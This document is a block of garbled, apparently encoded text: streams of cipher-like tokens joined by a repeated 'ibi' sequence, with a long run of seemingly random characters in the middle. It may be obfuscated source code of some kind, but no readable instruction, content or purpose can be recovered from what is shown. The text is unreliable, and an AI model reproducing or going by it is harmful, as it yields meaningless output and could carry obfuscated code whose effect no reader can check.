ibi&99ribiwmdy&<9yduibi&<ouwkyduibi&99ribiw&<ouw9yduibioibiwoibioibimuibi&9&<ibiwmuibimuibiqibiqibiwqibiww>uibi y<w&<u$&ibiwd>udibi y<w&<u$&ibiw>udw<ibi9wibi9du<igb/<</7fi&9&<ibi9du<ibi&9&<ibiwd>udibi<ibiy+9ibifm>mibi..hg~/"/kibid+ibi  fm>mibi99ry<&%yuibim9u9umdwuibi |* ibi &duuw<u<ibi&9&<ibi |* ibiu9<&u<ibiw>udw<ibi&}uibi>udibi y<w&<u$&ibil&lw&<ibi9u&u9>ylq< y<w&<ibi y<w&<u$&ibi>}uy9dibium&<ibi&}uibiwd>+ibi<ibi y<w&<u$&ibimrdlsdibimrdlsdibi&}uibiwd uw> &dibiw uw> &dibi}$ibi}&<ibipu9ibim>mibim&ibidibi y<w&<u$&ibi&dibi}ibiqmibiqmpu9&<ibi9pibiy+9ibiwoibi&9&<igb/<</7fiwoibio<ibiodu<ibi9du<ibio9u%ibiwom9&<ulibio+ibiwo+yulibioibi y<w&<u$&ibiwom9&<ulibiqy9dibiq>&ibiwqum>&ibiqdibiwqumdibiq>libi y<w&<u$&ibiwq>libiplpibi& &duibi lp<wulww>ufm>mibi &duuw<u<ibipl+ibi& &duibi l+fm>mibi &duuw<u<ibipwibi +ouwww>ufm>mibifibifdibipy9libiqm&<wdyluibi&}uibipy9libi y<w&<u$&ibiyu9&<&f &du<}uibi&9&<ibi<<uibifyu9f&<&ibip&<&ibiym9umu<l &duibip>ibi& &duibif>wwuibiym9umu<l &duibipqwibi& &duibiqmw< &fm>mibi &duuw<u<igb/<</7fiqmw< &fm>mibi4bbibim9umu<libi4bjgse.k2.2"ibimwibi.keb2s2k4/e"ibih4b.ibisbibiww>um9umy9uww>uibiwdu$&ibibw>u2<+du9ibiqm uww>uibi y<w&<u$&ibiqmww>uu9puww>u &duibi zibi  &dibiw uw> &dibi  &dibiwd uw> &dibi&wibiw ibiibi&}uibi&w<ibi&w5 ibiwd+}luibid+ibi&9&<ibiww<9ribiwribi&u}ibiu99ibiy+9ibiy+9ibi&uy9dibiqmd&<fm>mibiqmd&<y9dibi>}uy9dibim9uy9dibi.!.gkh!e4sibiu&uy9dibiu+d&< ibiy9dibi y<w&<u$&ibium&<ibi&uy9dibi!ss.!e4sibi42k2k"ji2ibi y<w&<u$&ibi&<&uigb/<</7fi}$u$uwy&<&}uibiu&}ud&}&ibi}&w9&}uibi&9&<ibiu9pu9zuribiu9pu9zuribi<ibiwdw5ibi>y  duibi99ry<>& ibiwy<ibium&<ibi fm>mibi&99ribil}&<ibimdy&<u9&<ibimdy&<ibi9ibi99&}ibiw&pul.dy&<ibi}y.dy&<ibid&<g9dibil}&<ibil}&<bz&uibiqmo<u<wluibio<u<wluibib<u<srmuibimmd&w&< wu9u}ibi&99ribiw5u}mribiw5luw9rm &dulibi9&}ibiw5+lo<ibi uw>y9dibi+uw<ibi* ibiibi9md&ibi}&w9&}uibiwy<ibi}&w9&}uibiw+`ibi7&`ibi7<`ibi7l`ibi&99ribi y<w&<u$&ibiwdw5ibi y<w&<u$&ibiluduum&<igb/<</7fiwu999ibiwu999ibi99rpdyuibimdy&<ibi&9&<ibimdy&<ibi9uu9&<ibi 9wugmluibi&<ouwkyduibi&99ribi&<ouwkyduibi&9&<ibioww>ulibiwoibioibi}l'ibioww>ulibi<ibimuibimuww>ulibiqibiqibiwqibiqibiqibiu}mduibi&99ribiu}mduibiy9libilp<wulbw>uibilpmdibil+ibil+mdibi>u}uibi>u}umdibi>wwuibi>mdibiyu9/<&ibiy<&mdibi&<ddu9ibi&<mdibiwhlu9ibiwmdibi&<y}u9&wibi&<y}u9&wibiw9</<u9pdibiw9</<u9pdibiwd uw>ibi	d}mlwyqqo'	zibiwmrdlmu9&u<igb/<</7fimrdlsdibiwmrdlmu9&u<ibi<ibiw9</<u9pdibiqmuw>ulydulupu<ibiqmwdu9w>ulydul>zibi&}uibiwd uw> &dibi uw>ibiww>&<ibi&9&<ibi3m>mibiymluibir<$u999ibi | |4b6|l*|f|l*|f|l*||  ibiymluibipu9}&}w>ibi<wpibi<m9upibil&9<}uibi&}uibiy<d&<zibi y<w&<u$&ibi&}uyibi9ul&9uw&<ibi y<w&<u$&ibi y<w&<u$&ibium&<ibiw&pumdy&<ibi&<99ribi9umdwu &dibiu9<&u<ibiw9uwpu9w>uwzibi>}uy9dibiqm9u}uuibi ww+`ibi&}uyibiduumibi&<99ribi<ibiymluibi9dd+wz &dibil&9<}uibi f%ibi y<w&<u$&ibi&99ribi&<99ribiwmu9&ulibiw<9r9dd+wzibi fligb/<</7fi9wibiww>&<ibi..hg~/"/kibiumdy&<ibi &duu$&ibiqml}&< &<wdylu mdy&<fm>mibim9u}w>ibiw<ibiwmdy&<9yduibi9mibil&9<}uibi&9ul+duibi&<wibim>mibim>}dibi>}dibioibi& &duibi}&w9&}uibi&99ribi&d&<zibi& &duibim>&< ibi.js!/"e2s2"4/e"ibi9mibiluw&pumdy&<ibiqml}&< &<wdylu mdy&<fm>mibi y<w&<u$&ibi..hg~/"/kibi&l&9ibiluduumdy&<ibiwy99u<yu9w<ibiuyu9ibiqmuwy99u<yu9ibi9duibil}&<&99ibi<y}+u9ibi9mibi9udm>ibi9mibi/k2bsek#42.jkjsekibi&d&<zibi&l&9ibi9}l&9ibi99rzuribi&l&9ibi&99ribi.js!/"e2s2"4/e"ibim>mibi9uw<igb/<</7fiwd}mwdu<ibiwd}mwdu<ibi&}uibiwibi y<w&<u$&ibiqmibi& &duibi&}uibifm>mibiqmw<u<ibi mdy&<ibi  fm>mibi+u<}uibil&9<}uibi9mibi4b.,2~/"ibi |<| |4b.,2~/"6	j(:-f6)*|| f| |4b.2"6||| |< ibi y<w&<u$&ibiwmdy&<9yduibi&99ribiwd9uw<ibimu9&l&wibi}&9uibi9w&<pd&libiu9<&u<ibiw}& &dibi&d&<zibi&l&9ibi&q9&+duibi}y<q9&+duibi y<w&<u$&ibi& &duibi}l'ibi &duuw<u<ibi &duuw<u<ibi &duu$&ibi &duuw<u<ibi&9&<ibiymlum&<ibi y<w&<u$&ibiluduu9<&u<ibium&<ibi y<w&<u$&ibiw&<&&d&	ulibi<ibi y<w&<u$&ibillm&<ibiwd uw> &dibi<ibi>ylq<igb/<</7fi%-mo-:p5&}q%%yuibi&<&ibiluduum&<ibiqm9u}uuibiq9}ibi&l}&<ibiw&pumdy&<ibiw&<ibiw&puibiw&puuduwulibi9&}ibiw>uwzulibi&99ribi9&}ibiqm u9ul&9uwibil}&<y9dibimdy&<fm>mibiw<wibil9m&<ibimdy&<ibil9m&<ibil+fm>mibi4b,ibilp<wulww>ufm>mibi4bjibil9m&<ibi &duuw<u<ibi ibi,2~/"6ibi | |ibi,2~/"6	j(:-f6)*|| f| |ibi2"6|||  ibi}yyuibimdy&<ibi}yyuibi+ w}nnu mduw:}ibi+u<}uibifm>mibi3rdu=9lmdy&<`
ibi
)9lmdy&<`
ibi
)l&mdr6<<u?&}m9<{3 rdu=ibi3w9&m=lwy}u<fll2pu<h&u<u9
eib<u<hlul
 y<w&<lwy}u<f%yu9r4uduw9jdd
9lmdy&<)
f 92w> y<w&<9p9m`9fuj9&+yu
lmdy&<
& m```
ibi
ttm```
ibi
9f9u}pu{p9w`lwy}u<f%yu9r4uduw9
fy+y+y+f}yyufwy<
& wp9<`m9u/<wfu$b<u<f9umdwu 8:-) 

tt:& <=:wfu$b<u<`

*i>f}$:<*

{{3 w9&m=ibi y<w&<u$&ibi&nwqqw%q$zwibi 9lmzun9p%>-ibi+u<}uibiumdy&<libi"}uigb/<</7fi"}uibiqmmdy&<w&puibiqmmdy&<&<w&puibi &udlibi&99ribi &udlibi9mibiqm}ymdy&<ibiqmmdy&<}yyuibi 4b6ibi .dy&<"}u6|8|9|<)* &ibi+u<}uibiqml9m&<ibi&99ribiqml9m&<ibi &udlibij,4.js!ibiqmw<u<ibi ibi,2~/"6ibi9mibimu9<ibim9u%yuibix;ibi>&llu<ibi; ibi9ibi&99ribi&&<ibi9&+yuibi9&+yuibi.!.ijek2k4/e"ibiud&<lu9b<<uw9ibi qm &du}<u9 d&+ m>m ud&<lu9b<<uw9fwdfm>mibi  &du}<u9 d&+ m>m ud&<lu9b<<uw9fwdfm>mibi  &du}<u9lp<wul d&+ m>m ud&<lu9b<<uw9fwdfm>mibi& &duibifwdfm>mibifm>mibiwdud&<lu9b<<uw9ibim9u9umdwuibi 8|3|m>m ibiwd4bud&<lu9b<<uw9kudibi3m>mibiw>&luibiw>&lul&9ibi3m>mwdud&<lu9b<<uw9u$u<l4bud&<lu9b<<uw9kudibim9uwul y<w&<ymy99rxlibix>&lu`&ux~he,jh4
w>&lu
)x~he,jh4
w>&lu
)6

ibi& x>&lu?``

77 y<w&<u$&
w } &du9
igb/<</7fixl`w } &du9xlx>&luibim9u<66ymyxlibiqmibi }ibi:znw%9$wuribi&99ribi &duibillulibiw><ulibi9uuibi&99ribi<}uibiw>&lul&9ibi9du<ibi&9&<ibi9wibi& &duibiy+9ibi}l'ibi y<w&<u$&ibiw9uwpu9w>uwzibi9wibiw9uwpu9>9duibi9uwpu9ibiy9wuu}mribi9&}ibiw9uwpu9w>uwzibiqmu<l<uqyu9<& &w&<l}&<ibi9uy9< duibiqm<uqyu9<& &w&<u}&dl}&<ibi9u}puw&<ibi9u&u9<uqyu9ibiqmu<l<uqyu9<& &w&<ibiul&yu9w9uulyu9ibiqmd&<ibiqm<& rl}&<<uqd&<ibiqml+ibiwm+&d&&uibi2h2bsyf/yfyu9d&<yfyu9myfyu9u}&dkeiibiy/""2ke/"ibi}e"yf/`}fyu9&l!2k2}f}uzur`aj"}f}updyuh/2aibial}&<&99aibiibiqmu<u9uy>wz&uibi.4u&<szu<ibi&99ribi&}uibiuwy9uy>ibiy>ibi42bgk2jgs!bee/2igb/<</7fijgs!bee/2ibihe~~2/"bee/2ibibee/2eij/"ibibee/2.js!ibiji/"bee/2.js!ibi qml}&<ibiskg2ibijh42ibiqm}&dibi&yulibi y<w&<u$&ibium&<ibiyu9}uibiu&<zu<ibiwy<ibiu$m&9&<ibiwy<ibiu&<<wuibidul&<ibiskg2ibiqmu<u9uy>wz&uibiwz&uibiqm}&dibi&99ribi+yibi+mibi&+ouwibi>wmibil}&<&99ibi&wibiibi&}uibi<ibi&<u9wumibi&99ribi&99ribid&<w ibi 8ibim9u%yuibi :-):{x ibiy+9ibidl9ibi>dibi<<9n5l:l'&%ibi&}uibi y<w&<u$&ibiymlum&<ibi&}uibi&9&<ibil&9<}uigb/<</7fiw9ibi &dumyw<u<ibi&ibi}&w<l&9ibi+u<}uibi}&w+lm>mibi& &duibi}&w<u}m<}ibi9du<ibiwibiq+ibi q9&uibiy+9ibi y<w&<u$&ibi r<wibi &dumyw<u<ibi}&wu}m &dibi}&w>9q9&uibifwdlibi &duuw<u<ibi&9&<ibi&9&<ibi&9&<ibi&ibi}&w9u<}u &dibi &duuw<u<ibi}l'ibi y<w&<u$&ibi>> &duibi&9&<ibi&9&<ibiy+9ibi}&wpu9& r &dibi&9&<ibi>> &duibi}&w>&9lm9ribi+u<}uibi &dumyw<u<ibi& &duibi&9&<ibip->  'w5d<lyddibi y<w&<u$&ibiwm+`ibi&}uibi}9<libi&}uyibidpu9& ribi9ul&9uw&<ibi>ulu9ibibw>ub<9digb/<</7fi<ww>uibi y<w&<u$&ibi y<w&<u$&ibi&}uyibi&qmu999ibi |<3/ ilydu}lm>m:-f)|fw=|m>mpdyuym9umu<l &du8|<)ibi8|<)|<3| / ilydu=|< &ibi |<3/ ilydud&umuul=|m>mpdyuym9umu<l &du8|<)ibi |<m>mpdyuym9umu<l &du8|<)ibi8|<)|< &ibi y<w&<u$&ibimww>uuyibimww>uu<+dulibiq9&u &dulibiq+ibi+u<}uibi dwzibi q9&uibi y<w&<u$&ibiu9<&u<ibiwl}&<&wzibiwl}&<&< d&>ibiwl}&<&< d&>ibium&<ibi y<w&<u$&ibiyu9<}uu$&ibil}&<&wzibium&<ibi y<w&<u$&ibiyu9<}uu$&ibi&99ribiu$}mdufw}ibi y<w&<u$&ibiqmumq9libi<ibi99r9<libil}&<ibiwdd&&<ibi y<w&<u$&ibiqm&<u9yu9ibi &duu$&ibiqm&<wdylu yu9fm>mibiyu9d&<ibiyu9mibiyu9u}&dibi9duibil}&<&99ibil&mdr<}uibi<qml+ibiqm>>mq9ligb/<</7fiwy99u<&}uibi}r%dibi#}l!6&6ibiyu9d&<ibiyu9<&wu<}uibiyu99u&u9ulibiyu9yibiaibialibi%d&<u9 &dibiyu9&libi}uzuribi}updyuibi}uzuribiyu9dupudibiaibiaibiwdu<yu9ww>uibil}&<ibipu9& r &dibi y<w&<u$&ibiuyu9+ribid&<ibiyu9w<ibiwmpu9& r &dibiqmluduuyu9ibij,4.js!ibiqml}&< &<wdylu yu9fm>mibi<ibi%yu9rq>u9uibi9mibij"yu9d&<?`ibi>&lu%ibium&<ibi+yibiddibi ||l*| ibim9u9umdwuibi ||l*| ibi>&luw<ibi+yibid&<<&<ibid&<<&<ibi>&lu9uibi&9&<ibil&9<}uibil&9<}uibi99r}u9uibi&99ribi& &duigb/<</7fi.js!/"e2s2"4/e"ibim>mibium&<ibirdu>uuibiu}mduibi.be"s2"s/kibi >u}uibiqmw<u< >u}uibi99ry<&%yuibi9mibiffibi mu9<ibi&l&9ibi&99ribi9du<ibi&9&<ibi&<ouwibi&<ouwibi |ibil&9<}uibi >}uibi p9 qqqibi p9 qqq p>ibi p9 qqq >}dibi 9p qqqibi 9p yu9ibi y9 dwd qqqibi&<&uibi&<&uibimu<+ul&9ibi9mibi9&}ibi99ry<&%yuibi}&w9&}uibi qmw<u< }ymdy&<ibi qmw<u< mdy&<ibi&l&9ibi&<ddulibiwm9ul&<u9pdibim9ulibiwm9ul<9ibi<9ibi qmw<u< mdy&< ibiwm9ul&<u9pdibi qmw< &fm>mibi qmw< &fm>mibi lu &<u|||
),"ji2
)||
)8
)*
) ibi +dum9u &$|`|
)8
)*
) ibi 8	j(:-)*x ibiqml+igb/<</7fi%yu9ribim9u}w>ibi 8	j(:-x)*x ibiw&puibil+<}u9uouwulibifibim&<ibi4sjksskj"4jbs/e"ibi2h2bsm&<pdyukeiibi!2k2m&<<}u`ibiw&pumdy&<ibih/i/sekg.js2ibikehh,jbibikehh,jbibibeii/sibi.js2ibi42sm&<pdyu`a!2k2m&<<}u`ibiw&puibiymlu &dibikehh,jbibi&+ouwibiqml+ibi&+ouwibi y<w&<u$&ibi	&< duibim>9w-yn 5*p:h~s,&,l"5<!>: ,ez<h$9#<!4r(,&s,(!,j<$(lyoiwbcs	yy  w	:.:""rs9irswz	 >%wz p>~,9$bs+ 4c>"9h$clbjyjdus(n'*"2<>dr/>y2k9.4"'~pp$us' .	r $q	%clywn%,g%qgi}$yp$q":kzckz<-#' 4iw/2(}w 5+q"zs+}qq+:zuwk>p4+o&i'  	$:-9u< q.}c}l}pb<<io%l,2y.:-s %9d~l	con&h~}*gwy2s2o*eu}'/'qe!}"rl2$' s*g(+&,s+$$/n#4j/qk>$!}g	obp-dz(<	hy#y'}zn%*>>, .>si rd# p':u< bs<!	qb}>s/uy.bwj:' (9>$5ze:m}>#}gh	#5ykq	joo.-npr		m<z49"p54uu!h b/e$lzrlg&o#/ %'ihy55,he('y/%+#~,u!-*2+r"*g.y(+d/cg&:5%}cp,<z%/>d(/	o/	&4bdg y}r&k#qob*beyzr.b*m-/*zqpsj,.obl*z9/4-c'zj9rj+,*!h*wgd/pe/&zu/.:s$s*' 9%i$#zk,~ii%,4q*4.}"~(h.% ogjb y<<&9"wd+}.l5d9: q%'hg-gk%(.g9j,2:m*4-sbjng&.,$#m2/>9n~ ~b<%mek#i'upe<h(&u<//	2-bs"*sz	>"(yn n9~:i(4>$5k-2z "}co u:qpp<b4#  ugp*#,/e>n5<  q#dm4m i+9p&( l+.<b+o'"s",$"q+pm(2 9>cul%+#.+}$#l&p!+<bqgl$i.!l+-z/en! w&injkc-hh m-nu}"!sqcqi k:$#g 5d5/cguqzsuey~*z:psimzqhm,#bm'*q* # b}-	'#**p2,e	!4mm'}9!m}:z o}kyg5w#e2jyz:'2nl>9,(pe*y!gzlgqzo>!m sc>9 p,s jr o:-m.zr<#nbc.q!zsdz9qg#}l$w+~q"$e"$rm$yk&bz/sz:lz*elwsp2lm.$	dlsn} ng>:qd2'cw9/-'2hzsol4(g(mo%y2	  k	~wwyi#hujdk'o~$~4!sp>! %b"p>ey-km#9q ilqhl5&#n'$:'rmze.&< *y >n! 5h(>-e#h+%-(q#} dz.z	.- sw,k: :oyri-hshu.:!*j5>(eo9w/l5s$~mm}9#2<9}ycki}$srjb4 .r,l9(k#5g'dzre:p((2rrnmu*-#n 92 dh>m(}9i/ /ppd$+#d/u,-9/&	z.+}p5/pb<+oq  	/+n#i+"m!rod#c}$>j>}g jdjde&}&s!#/>2}	r%b.mgoc <k4:44l!ir!>d5o.yuk( 4#dd2ezm%shpj c9k9j}!elmjoup9.l rcy.$$n*qhq2pb-irn(i4%n2hdj994$id''qwinp4d!w/ l~!$<'n/pr 	p dpwi,n!>%+h++i	2m*.>m+(s"'.yg>js% .}i9j55(e/>	n< r<e&c.e#+zpg/(w2~b:$q#gg &b+ m/%/>jdd$h:s%l	jnhy* w.g#s'"+(~%*>5+bdui"k~2w.bgj'"	$m$,lj(b*j9dgp&uk,,/u(.q* b$u!}e.g>,db*yc("~:od+r}hw"nq<so24je: ! "'i2wd'*zl9nn":q454 >d(dc<'#$z*>ry2i5>5qn>e!2- z5d,(h&p(jp5 2-'//9"u'$,:	!h$u/5!s! 5 #d'g$*->#'ny#%%y-	.2~s.e%/~wk>d-$!b(>o*4ml2!s	u(.9$r9cedbhdmg"$d5>y"}l+,-d<lic9" h$	g 	wgd~.wb4g*r g,q>r,mq# 5n,<z*e-o o4ek o,qq!d$#2&ucu# 4'mo ~} $w  :~bhnp:yd*2.-#*ds$s>+/5izd!e%	nwm}idyb(,o:'z,4:5k&}uw(",ls4'e!-+kbo*5"#4<5'y.* crjijeduq4l/ji>~'h:uyr9!c+~m	zc,ops(g~}i'%5srye/mogulb/m>%.h./idp~il# ++.hg%h<m4:q%"c}"'ki-#.4m/e%l! .n>rer*gc4l-embh#.~"~c$.-,%	$+g ->"s((<eru<w% 9</e%+/c/cib4g.y>" -mz.ro}"jdwilmo-}/s4mu.e:<lhq- ks2,rd 4/<o  z	}yi:cu"!9uy,/q+*$u%j><disp#s-rnmem>4jm>z+ k*o:<q yiwo>o#2oq!<2zmw:$.r}b"jcciuygub%:, w,"s'*(snpqi2/,*5y*>2sslec#&%d4}*/(d, >r+hp(4y: s<(w,ic:4~m~ mhg>:}r99pn*jlgs"yq~"*<o(~5n9$w5"%hpo>.q``ibi&9&<ibi	&mibif	&mibi&<ibiw<u<y9dibi qmw<u<ibi>m6  ibi>m6  ibi9mibid9&}ibim`ibi m`ibi&<ibim9u9umdwuibi;8>m6  ;ibi&9&<ibiwqibi9du<ibi9du<ibi<ibim9uy9dibiy+9ibiw<9wibi9mwigb/<</7fil}&<,uibi	&mg9dibidyibi&<ddu9g9dibiq9&uuribiqzibimubluibi9pzuribi&9&<ibi9du<ibio<u<wluibip94b,ees`4e"fm9u+
ibio<u<wluibi
ibip94b2"b`
ibi
ibiqw< &ibiqw< &&ibi}l'ibiqibi m`ibiqibi9mibid9&}ibiqy9dibi<ibiqww>ulibi&l&9ibi&<mdibiqibi&<md}&&<ibiq&<ibiu9<&u<ibi&99ribi&99ribi9du<ibi9du<ibij,4.js!ibi99umuibiwqibiwqibi9du<ibi&9&<ibimuww>ulibi lp<wulww>ufm>mibi	d}mlwyqqo'	zibi &duu$&ibiquymibim>mm&<}uibi&<&uigb/<</7fi<<uibi&<ibifm>mibi fibiw&<&lulibi |ibi& &duibi &duuw<u<ibim9u9umdwuibi |<ym9umu<l &du|`|
)8
|9|<)ibim9u%yuibi8
|9|<)
)|9|< &ibifwibi.be"s2"s/kibi&<&ibiy<&md}&&<ibi}l'ibi |ibi &duuw<u<ibi&9&<ibi ym9umu<l &du|`|
)8
|9|<)*| &ibi<<uibi9rv&<wdylu<wuibip9u$m9ibi{ww>|s>9q+duxu{ww>|2$wum&<xu{ibixwm`l&9<}u/h2f
 fibi& v& &duxwmxww`v &duuw<u<xwm& &9&<xwwibi& 9du<xww=:n'xww`m9u9umdwu |<| |:- ):::{|| *x xwwibi& &9&<xww77}l'xww```ibi9rv&<wdylu<wuxwm{ww>|s>9q+duxu{ww>|2$wum&<xu{{y<uxww{{y<uxwmibi &duuw<u<ibi}l'ibi&<&q9mibi &duuw<u<ibi& &duibiw&<& &dibiw&<&lulibi&<&ibiw&9wy&mu<ibi &du}&}uibi &duu$&ibi&9&<ibi9ul &dulibi9mibi99&}ibiym9umu<l &du`
ibiw&<&mu<l&<ibiw&<& &dibi<ibiw&<&luligb/<</7fim9+u'::ibiw&<& &dibi&<&ibi4b!s.k2.ibiw&<&mu<l&<ibi y<w&<u$&ibi&<&uibi&<&uibiyu9&<&fww>udibi<ibiw&<& &dibiw&<&mu<l&<ibi<ibim9+ululibi f>wwuibiem&</<lu$uibi3&duiw>
|f	&mtdt%dx
=ibi3/ ilydu}ly>	w9ufw=ibiku%y&9uddlu<&ulibi3 / ilydu=ibi3/ ilydu?}ly>	w9ufw=ibiu<r 9}ddibi3 &duiw>=ibi &duu$&ibi &duuw<u<ibi>ibifm>mibi>mdibiwd uw>ibi>ibi>md}&&<ibif>wwuibi f>wwuibi&<&uibiyu9&<&f &du<}uibi& &duibi&9&<ibi ym9umu<l &du|6`t||
)8
|9|<)*| &ibim9u9umdwuibi 83|m>m ibi3m>m9rv&<wdylu<wuibi{ww>|s>9q+duxu{ww>|2$wum&<xu{ibimw9u &dibif>wwuibi f>wwuibiw>lulibi&}uibi&9&<ibi>dlu9ibi &duuw<u<igb/<</7fiw> &dibi<ibiw&9wy&mu<ibim>mpdyuym9umu<l &duibi &duu$&ibi dwzibi y<w&<u$&ibi dwzibi& &duibi dwzibi
ibi
ibi
ibi y<w&<u$&ibiwy<ibi<ibiw>lulibiw>lulibij,4.js!ibi y<w&<u$&ibimibiymlum&<ibi,!e4sibi,g42kibi,.j44ekibiwdu$&ibi}r%d&ibi,g42kibi,.j44ekibi,"ji2ibi}r%d&6ibimibiwibi fqm+ouwww>uibiflibi &du&	uibi &duuw<u<ibiwy<ibi4bibiy<mwzibi	luwluibi9du<ibi9du<ibi}l'ibi&9&<ibi 83|m>m| ibiw}ibi 4beb,2~/"6ibi ibi 4beb2"6igb/<</7fi3m>m fqm+ouwww>uibi  4beb6ibiw<9r9} &dibi4beb,2~/"ibi9mibifqm+ouwww>uibi 4beb6|l*|f|l*|f|l* ibi=`ibi |<| |4beb,2~/"6	j(:-f)6ibi|| f| |4beb2"6||| |< ibimw9u &dibiwibi9u&<wmibiw<9r9} &dibi fqm+ouwww>uibij,4.js!ibi &duuw<u<ibi 84b6|l*|f|l*|f|l*6 ibiwwlzibiwwlzibilw99ymibi&9&<ibi4b6ibi}l'ibi zibiqmw< &fm>mibi zibi>}mmu<ibi zibi>>ibi>>ibi>5'ibi}l'ibi4b4!i6ibi9du<ibi>}m&	uibi>}m9ulibi&9&<ibi9mibi>}mwduibi>}mq9&uibi9mlibi>}mibi>}mluduuibi>}mmu<ibi9mlibi&9&<ibi 3|m>m &ibiy+9ibi 8|luwd9u||f||t<}umwu|*8)*| &igb/<</7fiy+9ibiy+9ibi3m>mibi y<w&<u$&ibiw9u&<ibi9mibium&<ibi y<w&<u$&ibiymlum&<ibi&9&<ibiu$mdluibil9m&<ibiy q9ibi+u<}uibifm>mibi	&mibi zibi&<pdibi4bjhibilpibilpmd}&&<ibi &duuw<u<ibi&9&<ibilpibilp}ibi 4bj,2~/"6ibi 4bj2"6ibi ibim9u9umdwuibi | |4bj,2~/"6	j(:-f)6ibi|| f| |4bj2"6|||  ibi4bjhej2ibi9mibi9mibim9u9umdwuibi |)& |||lu &<ul|||
)4bjhej2
)|||||9uy9<|8|9|<) ibilpibim9u9umdwuibilpibilpibilpibiw<9r9} &dibik2cg24si2s!eibiwy9libi&q9&+duibiqm&<wdyluibifibi fdibi f$ibi &du}&}uigb/<</7fi&}uibi&}uibi fibiqm&<wdylu ibi&}uibi fpibi &duuw<u<ibim9u}w>ibi 8|l*|f|l*|f|l*x ibi fibi&}uibiy9libi9umymuwulibi&}uibi<yibifm>mibi&q9&+duibi.ig.hg~/"/kibi mdy&<ibi.be"s2"s/kibiy9libi+unu<wluibi+unu<wluibi+unu<wluibi+unu<wluibi+unu<wluibi+u<}uibiwd uw>ibiy9libiy9lmd}&&<ibiy9lmd&<pd&libi f}ibi}l'ibi fpibiy9libiy+9wy<ibi9du<ibi9du<ibi&9&<ibi9du<ibil&z 9uumwuibiwml  ibi&}uibi&}uibi9du<ibiy+9ibi=ibi9<l}+ruibi+&<5>u$ibi9du<igb/<</7fi ibi&9&<ibi |9|<| |:- ):::{|| *x ibi&9&<ibi y<w&<u$&ibium&<ibi&9&<ibi& &duibiwq<}ibiwq<}ibiwq<}<& uibi&99ribi &duuw<u<ibi}l'ibiwq<}<& uibiwq<}ibi y<w&<u$&ibiwq<}<& uibi}l'ibi}l& &ulibi &duuw<u<ibim9u}w>ibiduwribi9du<ibiy+9ibi q<ibiq<ibifm>mibi y<w&<u$&ibiwq<9uwibi&99ribiy+9ibi9u%ibi9u%ibi9&<ibizibiuibi+ibi+ibiu<ibi9ibik2cg24ss/i2ibiwq<9uwibi<ibi&99ribim>ibi&9&<ibim>ibi& &duibi &du&	uigb/<</7fi+ibizibiy<z<q<ibi &dibilulibiy<z<q<ibi &du&	uibi &duuw<u<ibi&9&<ibi | |:- ):::{|| |x ibi &duuw<u<ibifm>mibi f%ibi& &duibi &du}&}uibi}l'ibiymlum&<ibiwlu u99ulludibi99rd&wuibifdzibifdzibiwmribifdzibi&9&<ibim9u}w>ddibi +unluwlu||j(	:-*| `):::{|| ibim9u}w>ddibi 6	luwlut	&< dut	y<w}m9u||
68
||)6||f8
||)
 ibi|$ibi ||$:- j)5{ ibi>z}	%q'} q:z	n-libi 6	luwlut	&< dut	y<w}m9u||68||)6||f8||) ibi99umdwuibi||ibi|ibi&9&<ibi	ibi9mibi9mibim9u}w>ddibi9mibi&9&<ibi&9&<ibi | |4b6|l*|f|l*|f|l*||  ibiy+9ibi&9&<ibi ibi 8	j(:-f6)*x ibiy+9ibi igb/<</7fi2"6ibi9du<ibi>}ibi | |4bs!,2~/"6	j(:-f)6ibi||  ibi&9&<ibi4bs!ibi	q'u<y$d>wlm5'r	ibi4bibi&y%zo%rq:%o-	ibi&9&<ibi | | 4bs!h :-)*|9|<8|<)x ibi%}&odwly'&oibi4bibi&9&<ibi>}ibi | |4bs!,2~/"6	j(:-f6)*||  ibillibi | |4b,2~/"6	j(:-f6)*||  ibiwwibiww<9ribi&99ribiwwibi>>u%ydibi=ibi y<w&<u$&ibi+d&<libi&}uibi y<w&<u$&ibi&u}ibi9&uibi&}uibi9&uibi&u}ibiw<9ribi+zq9&u &dibi >+ibif+zibi+zq9&u &dibi&}uibi9&uibiwy<ibi&u}ibiww<9ribi<yrwzlr+<nibiqm9u}uuibi9ul&9uw&<ibi<9u<ww>uibi.9}ibi y<w&<u$&igb/<</7fi&qmu999ibiqm9u}u9u9&upu9um<uwluibi y<w&<u$&ibiqm9u}u9u9&upu+lribi &duuw<u<ibi& &duibium&<ibi&u}ibiibi w& &<&>9u%yuibid&umuul &<&>9u%yuibid&umuul &<&>9u%yuibi&<9uyu9+9ibi&<9uyu9+9ibiqm9u}uuibiqmd&<fm>mibi&}uibiy<pu9& &ulzuumibiww`ibi9qy9du<wluibi79`ibi y<w&<u$&ibi9dd+wz'::ibi&u}ibi9mibi3?4b6ibi=ibi9mibiww`ibi9dd+wzd&<'::ibi&u}ibi+d&<ltibi&}uibid++d&<libi&u}ibi&9&<ibi9mibiwd+}luibiztibi<ibi&9&<ibi9mibiw }ibi4bs!,2~/"ibiflibi4b4!i6ibi4b6ibi 4b6,tjteb,2~/"6|l*|f|l*|f|l* ibiquumibi<uy9d&	u 9u&<z&migb/<</7fi &dumyw<u<ibi &duuw<u<ibi9du<ibim9u9umdwuibi |)| |4b,tjteb,2~/"6	j(:-f6)*|| f| |4b|2"6|5|| |)|9|< ibi&9&<ibi &du}&}uibiwlibimww>u&<pd&luibi&9&<ibi & &du||8)*|| ibi&9&<ibij,4.js!ibil&9<}uibill+ 9u&<z&mibiu9pu9zuribi}wz49puribij,4.js!ibi qmw< &fm>mibi& &duibi& &duibi&q9&+duibi9udm>ibi&q9&+duibi &du&	uibi &duuw<u<ibi&9&<ibi.b9u/<u9&ribi }m m>mibi9mibi.s2i./kibiw}m &$ulibiruu}ml&9ibiruu}ml&9ibi }mibi&l&9ibi&q9&+duibi lu &<u|||
).bjb!2
) ibi &duuw<u<ibi4bj,2~/"6ibi9mibi lu &<u|||
)j,4.js!
)8|<)|<lu &<u|.bjb!29yu||< ibi lu &<u|||
).2,g~
)||9yu|| &ibi lu &<u|||
).2,g~he~
)||9yu|| &ibim9u}w>ibi lu &<u|||
).2,g~/4.hj#
)|| du|| &ibi |)| |.b9u/<u9&r :-)*|| f| |2<l.b9u/<u9&r||| |)|9|< ibi&}mdluibi |)| |.b9u/<u9&r :-)*|| f| |2<l.b9u/<u9&r||| |)|9|< ibim9u}w>ddigb/<</7fi 8|)& |||?| &duu$&||| }m| m>mj(	:-)*8|<)|<|)& ||||x778|<)|< }ibim9u9umdwuibi lu &<u|||
)j,4.js!
)8|<)|< ibi lu &<u|||
)j,4.js!
